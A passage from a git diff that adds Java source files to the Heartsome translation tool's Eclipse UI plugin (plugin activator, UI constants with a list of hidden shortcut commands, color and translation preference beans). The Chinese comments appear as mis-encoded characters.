net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * . Activator类控制æ’件生命周期。 + * @author stone + * @version + * @since JDK1.6 + */ +public class Activator extends AbstractUIPlugin { + + /** æ’件ID。 */ + public static final String PLUGIN_ID = "net.heartsome.cat.ts.ui"; + + /** 共享的æ’件实例。 */ + private static Activator plugin; + + public static BundleContext context; + /** + * 构造器。 + */ + public Activator() { + } + + /** + * å¯åŠ¨æ’件应用,创建共享的æ’件实例。 + * @param context + * the context + * @throws Exception + * the exception + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + Activator.context = context; + // Load the font for preference store + String fontName = getPreferenceStore().getString(IPreferenceConstants.XLIFF_EDITOR_FONT_NAME); + int size = getPreferenceStore().getInt(IPreferenceConstants.XLIFF_EDITOR_FONT_SIZE); + FontData fontData = new FontData(); + fontData.setHeight(size); + fontData.setName(fontName); + JFaceResources.getFontRegistry().put(Constants.XLIFF_EDITOR_TEXT_FONT, new FontData[]{fontData}); + + fontName = getPreferenceStore().getString(IPreferenceConstants.MATCH_VIEW_FONT_NAME); + size = getPreferenceStore().getInt(IPreferenceConstants.MATCH_VIEW_FONT_SIZE); + fontData = new FontData(); + fontData.setHeight(size); + fontData.setName(fontName); + JFaceResources.getFontRegistry().put(Constants.MATCH_VIEWER_TEXT_FONT, new FontData[]{fontData}); + } + + /** + * åœæ­¢æ’件应用,并销æ¯å…±äº«çš„æ’件实例。 + * @param context + * the context + * @throws Exception + * the exception + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * 获得默认的共享的æ’件实例。 + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片被伸缩å˜æ¢ä¸º16*16åƒç´ çš„æè¿°ä¿¡æ¯ã€‚ + * @param path + * the path + * @return the icon descriptor + */ + public static ImageDescriptor getIconDescriptor(String path) { + ImageDescriptor image = getImageDescriptor(path); + ImageData data = image.getImageData(); + data = data.scaledTo(16, 16); + image = ImageDescriptor.createFromImageData(data); + return image; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/Constants.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/Constants.java new file mode 100644 index 0000000..7bccec5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/Constants.java @@ -0,0 +1,115 @@ +package net.heartsome.cat.ts.ui; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +/** + * TS 中 UI 相关的常é‡ç±» + * @author weachy + * @version + * @since JDK1.5 + */ +public class Constants { + + /** symbolic font name for the XLIFF editor */ + public static final String XLIFF_EDITOR_TEXT_FONT = "net.heartsome.cat.ts.ui.xliffeditor.font"; + + /** symbolic font name for the match viewer TB & TB */ + public static final String MATCH_VIEWER_TEXT_FONT = "net.heartsome.cat.ts.ui.matchViewer.font"; + + public static final char TAB_CHARACTER = '\u2192'; + public static final char LINE_SEPARATOR_CHARACTER= '\u21B2'; + public static final char SPACE_CHARACTER = '\u2219'; + + /** + * NatTable 中æ¯æ¡æ–‡æœ¬æ®µçš„内容行间è·ã€‚ + */ + public static final int SEGMENT_LINE_SPACING = 1; + + public static final int SEGMENT_TOP_MARGIN = 2; + + public static final int SEGMENT_BOTTOM_MARGIN = 2; + + public static final int SEGMENT_RIGHT_MARGIN = 2; + + public static final int SEGMENT_LEFT_MARGIN = 2; + + /** å¿«æ·é”®åˆ—表中无用的项 */ + private static final String[] arrRemove = new String[]{ + "org.eclipse.ui.file.export", "org.eclipse.ui.newWizard", "org.eclipse.ui.window.lockToolBar", + "org.eclipse.ui.window.minimizePart", "org.eclipse.ui.file.print", "org.eclipse.ui.ide.configureColumns", + "org.eclipse.ui.file.import", "org.eclipse.ui.window.activateEditor", "org.eclipse.ui.project.properties", + "org.eclipse.ui.navigate.next", "org.eclipse.ui.help.helpSearch", "org.eclipse.ui.window.resetPerspective", + "org.eclipse.ui.window.previousEditor", "org.eclipse.ui.file.save", "org.eclipse.ui.file.properties", + "org.eclipse.ui.window.previousView", "org.eclipse.ui.edit.text.contentAssist.proposals", //"org.eclipse.ui.file.closeAll", + "org.eclipse.ui.window.showViewMenu", "org.eclipse.ui.window.previousPerspective", "org.eclipse.ui.project.closeUnrelatedProjects", + "org.eclipse.ui.texteditor.TaskRulerAction", "org.eclipse.ui.texteditor.BookmarkRulerAction", "org.eclipse.ui.navigate.previousSubTab", + "org.eclipse.ui.help.dynamicHelp", "org.eclipse.ui.navigate.forwardHistory", "org.eclipse.ui.ide.configureFilters", + "org.eclipse.ui.window.nextPerspective", "org.eclipse.ui.edit.text.contentAssist.contextInformation", "org.eclipse.ui.navigate.nextSubTab", + "org.eclipse.ui.file.import", "org.eclipse.ui.navigate.collapseAll", "org.eclipse.ui.window.nextEditor", + "org.eclipse.ui.part.nextPage", "org.eclipse.ui.window.switchToEditor", "org.eclipse.ui.window.showSystemMenu", + "org.eclipse.ui.part.previousPage", "org.eclipse.ui.navigate.linkWithEditor", "org.eclipse.ui.file.closeOthers", + "org.eclipse.ui.navigate.previous", "org.eclipse.ui.file.saveAll", "org.eclipse.ui.help.displayHelp", + "org.eclipse.ui.window.showKeyAssist", "org.eclipse.ui.help.aboutAction", "org.eclipse.ui.window.nextView", + "org.eclipse.ui.navigate.backwardHistory", "org.eclipse.ui.file.closeOthers=", "org.eclipse.ui.window.openEditorDropDown", + "org.eclipse.ui.window.maximizePart", "org.eclipse.ui.window.preferences", "org.eclipse.ui.navigate.removeFromWorkingSet", + "org.eclipse.ui.edit.text.gotoLastEditPosition", "org.eclipse.ui.edit.text.select.textStart", "org.eclipse.ui.project.buildAll", + "org.eclipse.ui.browser.openBundleResource", "org.eclipse.ui.edit.text.deletePrevious", "org.eclipse.ui.file.revert", + "org.eclipse.ui.window.hideShowEditors", "org.eclipse.ui.edit.text.goto.columnPrevious", "org.eclipse.ui.edit.text.clear.mark", + "org.eclipse.ui.edit.text.moveLineUp", "org.eclipse.ui.navigate.showIn", "org.eclipse.ui.edit.text.folding.toggle", + "org.eclipse.ui.ide.markCompleted", "org.eclipse.ui.edit.text.select.lineUp", "org.eclipse.ui.edit.addTask", + "org.eclipse.ui.edit.text.removeTrailingWhitespace", "org.eclipse.ui.edit.text.deleteNext", "org.eclipse.ui.edit.text.goto.windowStart", + "org.eclipse.ui.window.newEditor", "org.eclipse.ui.update.findAndInstallUpdates", "org.eclipse.ui.edit.text.hippieCompletion", + "org.eclipse.ui.edit.text.copyLineDown", "org.eclipse.ui.views.showView", "org.eclipse.ui.edit.text.swap.mark", + "org.eclipse.ui.project.rebuildProject", "org.eclipse.ui.project.buildAutomatically", "org.eclipse.ui.edit.text.smartEnterInverse", + "org.eclipse.ui.edit.text.select.pageUp", "org.eclipse.ui.navigate.nextTab", "org.eclipse.ui.project.buildProject", + "org.eclipse.ui.edit.text.select.wordPrevious", "org.eclipse.jdt.ui.edit.text.java.correction.assist.proposals", "org.eclipse.ui.window.spy", + "org.eclipse.ui.edit.text.select.pageDown", "org.eclipse.ui.edit.text.folding.expand_all", "org.eclipse.ui.window.closePerspective", + "org.eclipse.ui.edit.text.upperCase", "org.eclipse.ui.edit.text.goto.lineDown", "org.eclipse.ui.views.properties.NewPropertySheetCommand", + "org.eclipse.ui.edit.text.toggleOverwrite", "org.eclipse.ui.edit.findNext", "org.eclipse.ui.navigate.back", + "org.eclipse.ui.navigate.up", "org.eclipse.ui.edit.text.delimiter.unix", "org.eclipse.ui.edit.text.showRulerContextMenu", + "org.eclipse.ui.help.tipsAndTricksAction", "org.eclipse.ui.perspectives.showPerspective", "org.eclipse.quickdiff.toggle", + "org.eclipse.ui.navigate.expandAll", "org.eclipse.help.ui.closeTray", "AUTOGEN:::org.eclipse.ui.texteditor.ruler.actions/org.eclipse.ui.texteditor.BookmarkRulerAction", + "org.eclipse.ui.edit.text.delete.line.to.end", "org.eclipse.ui.edit.text.open.hyperlink", "org.eclipse.ui.ToggleCoolbarAction", + "org.eclipse.ui.edit.text.deleteNextWord", "org.eclipse.ui.window.savePerspective", "org.eclipse.ui.window.newWindow", + "org.eclipse.ui.edit.text.openLocalFile", "org.eclipse.ui.ide.copyConfigCommand", "org.eclipse.ui.edit.text.join.lines", + "org.eclipse.ui.edit.text.folding.collapse", "org.eclipse.ui.edit.text.delimiter.macOS9", "org.eclipse.ui.edit.text.goto.lineStart", + "org.eclipse.ui.file.newQuickMenu", "org.eclipse.ui.editors.revisions.id.toggle", "AUTOGEN:::org.eclipse.ui.texteditor.ruler.context.actions/org.eclipse.ui.texteditor.TaskRulerAction", + "org.eclipse.ui.edit.text.toggleShowSelectedElementOnly", "org.eclipse.ui.window.pinEditor", "org.eclipse.ui.edit.text.toggleShowWhitespaceCharacters", + "org.eclipse.ui.edit.text.goto.windowEnd", "org.eclipse.ui.edit.text.copyLineUp", "org.eclipse.ui.edit.text.cut.line.to.end", + "org.eclipse.ui.edit.text.goto.line", "org.eclipse.ui.navigate.showInQuickMenu", "org.eclipse.ui.edit.text.goto.lineEnd", + "org.eclipse.ui.edit.text.toggleBlockSelectionMode", "org.eclipse.ui.window.quickAccess", "org.eclipse.ui.edit.text.select.lineEnd", + "org.eclipse.ui.editors.revisions.rendering.cycle", "org.eclipse.ui.file.openWorkspace", "org.eclipse.ui.edit.text.set.mark", + "org.eclipse.ui.edit.text.toggleInsertMode", "org.eclipse.ui.edit.text.select.columnNext", "org.eclipse.ui.edit.text.lowerCase", + "AUTOGEN:::org.eclipse.ui.texteditor.ruler.context.actions/org.eclipse.ui.texteditor.BookmarkRulerAction","org.eclipse.ui.edit.text.folding.restore", "org.eclipse.ui.edit.text.goto.columnNext", + "org.eclipse.ui.edit.text.recenter", "org.eclipse.ui.edit.text.deletePreviousWord", "org.eclipse.ui.editors.lineNumberToggle", + "org.eclipse.ui.edit.text.scroll.lineDown", "org.eclipse.ui.file.saveAs", "org.eclipse.ui.edit.text.select.windowEnd", + "org.eclipse.ui.edit.text.goto.pageDown", "AUTOGEN:::org.eclipse.ui.texteditor.ruler.actions/org.eclipse.ui.texteditor.SelectRulerAction", "org.eclipse.ui.navigate.goToResource", + "org.eclipse.ui.window.closeAllPerspectives", "org.eclipse.ui.edit.text.select.lineDown", "org.eclipse.ui.edit.text.showRulerAnnotationInformation", + "org.eclipse.ui.edit.text.goto.textEnd", "org.eclipse.ui.editors.quickdiff.revert", "org.eclipse.ui.edit.text.showChangeRulerInformation", + "org.eclipse.ui.edit.text.scroll.lineUp", "org.eclipse.ui.navigate.goInto", "org.eclipse.ui.edit.text.folding.expand", + "org.eclipse.ui.file.restartWorkbench", "org.eclipse.ui.edit.text.smartEnter", "org.eclipse.ui.edit.text.cut.line.to.beginning", + "org.eclipse.ui.edit.text.goto.pageUp", "org.eclipse.ui.edit.findPrevious", "org.eclipse.ui.update.manageConfiguration", + "org.eclipse.ui.edit.text.select.lineStart", "org.eclipse.ui.help.installationDialog", "org.eclipse.ui.project.rebuildAll", + "org.eclipse.ui.project.cleanAction", "org.eclipse.ui.navigate.addToWorkingSet", "org.eclipse.ui.navigate.selectWorkingSets", + "org.eclipse.ui.edit.text.delimiter.windows", "org.eclipse.ui.editors.revisions.author.toggle", "org.eclipse.ui.window.customizePerspective", + "org.eclipse.ui.navigate.forward", "org.eclipse.ui.ide.OpenMarkersView", "org.eclipse.ui.edit.text.select.textEnd", + "org.eclipse.ui.edit.text.goto.wordPrevious", "org.eclipse.ui.edit.text.showInformation", "org.eclipse.ui.ide.copyBuildIdCommand", + "org.eclipse.ui.edit.text.moveLineDown", "org.eclipse.ui.edit.text.delete.line.to.beginning", "org.eclipse.ui.ide.deleteCompleted", + "org.eclipse.ui.edit.addBookmark", "org.eclipse.ui.edit.text.select.windowStart", "org.eclipse.ui.navigate.previousTab", + "org.eclipse.ui.edit.text.select.wordNext", "org.eclipse.ui.project.buildLast", "org.eclipse.ui.edit.findIncremental", + "org.eclipse.ui.edit.text.select.columnPrevious", "org.eclipse.ui.edit.findIncrementalReverse", "org.eclipse.ui.edit.text.goto.wordNext", + "org.eclipse.ui.navigate.openResource", "org.eclipse.ui.project.openProject", "org.eclipse.ui.edit.text.shiftLeft", + "org.eclipse.ui.edit.move", "org.eclipse.ui.file.closePart", "org.eclipse.ui.edit.text.goto.lineUp", + "org.eclipse.ui.edit.text.delete.line", "org.eclipse.ui.edit.text.goto.textStart", "org.eclipse.ui.help.quickStartAction", + "org.eclipse.ui.edit.text.shiftRight", "org.eclipse.ui.editors.quickdiff.revertLine", "org.eclipse.help.ui.indexcommand", + "org.eclipse.ui.edit.text.folding.collapse_all", "org.eclipse.ui.edit.revertToSaved", "org.eclipse.ui.edit.text.cut.line", + "org.eclipse.ui.project.closeProject", "org.eclipse.ui.cocoa.closeDialog", "org.eclipse.ui.cocoa.zoomWindow", + "org.eclipse.ui.cocoa.arrangeWindowsInFront", "org.eclipse.ui.cocoa.minimizeWindow", "net.heartsome.cat.ts.command.newMenu.pulldown", + "net.heartsome.cat.convert.ui.commands.OpenMergedXliffCommand" + }; + + public static final List lstRemove = new ArrayList(Arrays.asList(arrRemove)); + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/ColorConfigLoader.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/ColorConfigLoader.java new file mode 100644 index 0000000..a1d1999 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/ColorConfigLoader.java @@ -0,0 +1,179 @@ +/** + * ViewerColorBean.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.bean; + +import net.heartsome.cat.common.bean.ColorConfigBean; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.view.IMatchViewPart; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.resource.StringConverter; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Device; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +/** + * 视图中的相关颜色å°è£… + * @author jason + * @version + * @since JDK1.6 + */ +public class ColorConfigLoader implements IPropertyChangeListener { + + private IPreferenceStore pfStore; + + private ColorConfigBean colorConfigBean; + + private static ColorConfigLoader instance; + + /** 当å‰é¢œè‰²å€¼çš„é›†åˆ */ + private String strCurColor; + + public static ColorConfigLoader init(){ + if(instance == null){ + instance = new ColorConfigLoader(); + } + return instance; + } + + private ColorConfigLoader() { + pfStore = Activator.getDefault().getPreferenceStore(); + pfStore.addPropertyChangeListener(this); + colorConfigBean = ColorConfigBean.getInstance(); + initColor(); + } + private void initColor(){ + Device device = Display.getDefault(); + if (pfStore == null) { + pfStore = Activator.getDefault().getPreferenceStore(); + pfStore.addPropertyChangeListener(this); + } + colorConfigBean.release(); + colorConfigBean.setPtColor(getColor(device, IColorPreferenceConstant.PT_COLOR)); + colorConfigBean.setQtColor(getColor(device, IColorPreferenceConstant.QT_COLOR)); + colorConfigBean.setMtColor(getColor(device, IColorPreferenceConstant.MT_COLOR)); + colorConfigBean.setTm101Color(getColor(device, IColorPreferenceConstant.TM_MATCH101_COLOR)); + colorConfigBean.setTm100Color(getColor(device, IColorPreferenceConstant.TM_MATCH100_COLOR)); + colorConfigBean.setTm90Color(getColor(device, IColorPreferenceConstant.TM_MATCH90_COLOR)); + colorConfigBean.setTm80Color(getColor(device, IColorPreferenceConstant.TM_MATCH80_COLOR)); + colorConfigBean.setTm70Color(getColor(device, IColorPreferenceConstant.TM_MATCH70_COLOR)); + colorConfigBean.setTm0Color(getColor(device, IColorPreferenceConstant.TM_MATCH0_COLOR)); + + colorConfigBean.setSrcDiffFgColor(getColor(device, IColorPreferenceConstant.DIFFERENCE_FG_COLOR)); + colorConfigBean.setSrcDiffBgColor(getColor(device, IColorPreferenceConstant.DIFFERENCE_BG_COLOR)); + + colorConfigBean.setTagFgColor(getColor(device, IColorPreferenceConstant.TAG_FG_COLOR)); + colorConfigBean.setTagBgColor(getColor(device, IColorPreferenceConstant.TAG_BG_COLOR)); + colorConfigBean.setWrongTagColor(getColor(device, IColorPreferenceConstant.WRONG_TAG_COLOR)); + colorConfigBean.setErrorWordColor(getColor(device, IColorPreferenceConstant.WRONG_TAG_COLOR)); + + Color highlightedTermColor = colorConfigBean.getHighlightedTermColor(); + RGB newRgb = StringConverter.asRGB(pfStore.getString(IColorPreferenceConstant.HIGHLIGHTED_TERM_COLOR)); + if (highlightedTermColor == null || highlightedTermColor.isDisposed()) { + highlightedTermColor = new Color(device, newRgb); + } else if (!highlightedTermColor.getRGB().equals(newRgb)) { + highlightedTermColor.dispose(); + highlightedTermColor = new Color(device, newRgb); + // had changed + } + colorConfigBean.setHighlightedTermColor(highlightedTermColor); + } + + public void propertyChange(PropertyChangeEvent event) { + loadColor(); + } + + private void loadColor() { + Device device = Activator.getDefault().getWorkbench().getDisplay(); + if (pfStore == null) { + pfStore = Activator.getDefault().getPreferenceStore(); + pfStore.addPropertyChangeListener(this); + } + colorConfigBean.release(); + colorConfigBean.setPtColor(getColor(device, IColorPreferenceConstant.PT_COLOR)); + colorConfigBean.setQtColor(getColor(device, IColorPreferenceConstant.QT_COLOR)); + colorConfigBean.setMtColor(getColor(device, IColorPreferenceConstant.MT_COLOR)); + colorConfigBean.setTm101Color(getColor(device, IColorPreferenceConstant.TM_MATCH101_COLOR)); + colorConfigBean.setTm100Color(getColor(device, IColorPreferenceConstant.TM_MATCH100_COLOR)); + colorConfigBean.setTm90Color(getColor(device, IColorPreferenceConstant.TM_MATCH90_COLOR)); + colorConfigBean.setTm80Color(getColor(device, IColorPreferenceConstant.TM_MATCH80_COLOR)); + colorConfigBean.setTm70Color(getColor(device, IColorPreferenceConstant.TM_MATCH70_COLOR)); + colorConfigBean.setTm0Color(getColor(device, IColorPreferenceConstant.TM_MATCH0_COLOR)); + + colorConfigBean.setSrcDiffFgColor(getColor(device, IColorPreferenceConstant.DIFFERENCE_FG_COLOR)); + colorConfigBean.setSrcDiffBgColor(getColor(device, IColorPreferenceConstant.DIFFERENCE_BG_COLOR)); + + colorConfigBean.setTagFgColor(getColor(device, IColorPreferenceConstant.TAG_FG_COLOR)); + colorConfigBean.setTagBgColor(getColor(device, IColorPreferenceConstant.TAG_BG_COLOR)); + colorConfigBean.setWrongTagColor(getColor(device, IColorPreferenceConstant.WRONG_TAG_COLOR)); + colorConfigBean.setErrorWordColor(getColor(device, IColorPreferenceConstant.WRONG_TAG_COLOR)); + String strColor = colorConfigBean.toString(); + + IXliffEditor xliffEditor = null; + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + IEditorPart editor = page.getActiveEditor(); + if (editor != null && editor instanceof IXliffEditor) { + xliffEditor = (IXliffEditor) editor; + } + } + } + if (strCurColor != null && !strCurColor.equals(strColor)) { + // 更改颜色设置åŽåˆ·æ–°ç•Œé¢ + if(xliffEditor != null){ + xliffEditor.autoResize(); + xliffEditor.refresh(); + } + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + IViewPart viewPart = page.findView("net.heartsome.cat.ts.ui.translation.view.matchview"); + if (viewPart != null) { + IMatchViewPart part = (IMatchViewPart) viewPart; + part.refreshTable(); + } + } + } + strCurColor = strColor; + } + Color highlightedTermColor = colorConfigBean.getHighlightedTermColor(); + RGB newRgb = StringConverter.asRGB(pfStore.getString(IColorPreferenceConstant.HIGHLIGHTED_TERM_COLOR)); + if (highlightedTermColor == null || highlightedTermColor.isDisposed()) { + highlightedTermColor = new Color(device, newRgb); + } else if (!highlightedTermColor.getRGB().equals(newRgb)) { + highlightedTermColor.dispose(); + highlightedTermColor = new Color(device, newRgb); + // had changed + if (xliffEditor != null) { + xliffEditor.highlightedTerms(null); // 刷新 + } + } + colorConfigBean.setHighlightedTermColor(highlightedTermColor); + } + + private Color getColor(Device device, String key) { + String fg = pfStore.getString(key); + return new Color(device, StringConverter.asRGB(fg)); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/IColorPreferenceConstant.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/IColorPreferenceConstant.java new file mode 100644 index 0000000..b673ab5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/IColorPreferenceConstant.java @@ -0,0 +1,64 @@ +/** + * IColorPreferenceConstant.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.bean; + +/** + * 颜色é…置首选项å‚æ•° + * @author jason + * @version + * @since JDK1.6 + */ +public interface IColorPreferenceConstant { + /** ç¹æ®–翻译 */ + String PT_COLOR = "PT_COLOR"; + /** 快速翻译 */ + String QT_COLOR = "QT_COLOR"; + /** 机器翻译 */ + String MT_COLOR = "MT_COLOR"; + + /** ä¸Šä¸‹æ–‡åŒ¹é… */ + String TM_MATCH101_COLOR = "TM_MATCH101_COLOR"; + + /** 100% åŒ¹é… */ + String TM_MATCH100_COLOR = "TM_MATCH100_COLOR"; + + /** 90%-99% åŒ¹é… */ + String TM_MATCH90_COLOR = "TM_MATCH90_COLOR"; + + /** 80%-89% åŒ¹é… */ + String TM_MATCH80_COLOR = "TM_MATCH80_COLOR"; + + /** 70%-79% åŒ¹é… */ + String TM_MATCH70_COLOR = "TM_MATCH70_COLOR"; + + /** å°äºŽ 70% åŒ¹é… */ + String TM_MATCH0_COLOR = "TM_MATCH0_COLOR"; + + /** æºæ–‡æœ¬å·®å¼‚å‰æ™¯è‰² */ + String DIFFERENCE_FG_COLOR = "DIFFERENCE_FG_COLOR"; + + /** æºæ–‡æœ¬å·®å¼‚背景色 */ + String DIFFERENCE_BG_COLOR = "DIFFERENCE_BG_COLOR"; + + /** 标记背景色 */ + String TAG_BG_COLOR = "TAG_BG_COLOR"; + + /** 标记背景色 */ + String TAG_FG_COLOR = "TAG_FG_COLOR"; + + /** 错误标记色 */ + String WRONG_TAG_COLOR = "WRONG_TAG_COLOR"; + + /** 术语高亮色 */ + String HIGHLIGHTED_TERM_COLOR = "HIGHLIGHTED_TERM_COLOR"; +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/TranslateParameter.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/TranslateParameter.java new file mode 100644 index 0000000..237ac16 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/TranslateParameter.java @@ -0,0 +1,110 @@ +/** + * TranslateParameter.java + * + * Version information : + * + * Date:2012-6-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.bean; + +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.preferencepage.translation.ITranslationPreferenceConstants; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; + +/** + * 对应首选项的翻译å‚æ•°é…ç½®
    + * å•ä¾‹æ¨¡å¼ï¼Œç›‘å¬é¦–选项é…ç½®çš„æ”¹å˜ + * @author jason + * @version + * @since JDK1.6 + */ +public class TranslateParameter implements IPropertyChangeListener { + + private static TranslateParameter instance; + + public static TranslateParameter getInstance() { + if (instance == null) { + instance = new TranslateParameter(); + } + return instance; + } + + private TranslateParameter() { + ps = Activator.getDefault().getPreferenceStore(); + if (ps != null) { + ps.addPropertyChangeListener(this); + loadPreferenceValues(); + } + } + + private IPreferenceStore ps; + + private boolean isAdjustSpacePosition; + private boolean isApplyTmMatch; + private boolean isApplySource; + private boolean isSkipNoTransSegment; + private boolean isAutoQuickTrans; + + public void propertyChange(PropertyChangeEvent event) { + if (ps != null) { + loadPreferenceValues(); + } + } + + private void loadPreferenceValues() { + isAdjustSpacePosition = ps.getBoolean(ITranslationPreferenceConstants.AUTO_ADAPT_SPACE_POSITION); + isApplyTmMatch = ps.getBoolean(ITranslationPreferenceConstants.AUTO_APPLY_TM_MATCH); + isApplySource = ps.getBoolean(ITranslationPreferenceConstants.COPY_SOURCE_TO_TARGET); + isSkipNoTransSegment = ps.getBoolean(ITranslationPreferenceConstants.SKIP_NOT_TRANSLATE_TEXT); + isAutoQuickTrans = ps.getBoolean(ITranslationPreferenceConstants.AUTO_QUICK_TRANSLATION); + } + + /** + * 接å—翻译时是å¦è°ƒæ•´ç©ºæ ¼ä½ç½® + * @return the isAdjustSpacePosition + */ + public boolean isAdjustSpacePosition() { + return isAdjustSpacePosition; + } + + /** + * æ— è¯‘æ–‡æ—¶è‡ªåŠ¨åº”ç”¨æœ€é«˜è®°å¿†åº“åŒ¹é… + * @return the isApplyTmMatch + */ + public boolean isApplyTmMatch() { + return isApplyTmMatch; + } + + /** + * 无匹é…时是å¦å¤åˆ¶æºæ–‡æœ¬åˆ°ç›®æ ‡ + * @return the isApplySource + */ + public boolean isApplySource() { + return isApplySource; + } + + /** + * 是å¦è·³è¿‡ä¸å¯ç¿»è¯‘的文本段 + * @return the isSkipNoTransSegment + */ + public boolean isSkipNoTransSegment() { + return isSkipNoTransSegment; + } + + /** + * 自动快速翻译 + * @return the isAutoQuickTrans + */ + public boolean isAutoQuickTrans() { + return isAutoQuickTrans; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/XliffEditorParameter.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/XliffEditorParameter.java new file mode 100644 index 0000000..f2f5571 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/bean/XliffEditorParameter.java @@ -0,0 +1,67 @@ +/** + * XliffEditorParameter.java + * + * Version information : + * + * Date:2013-4-22 + * + * Copyright notice : + * 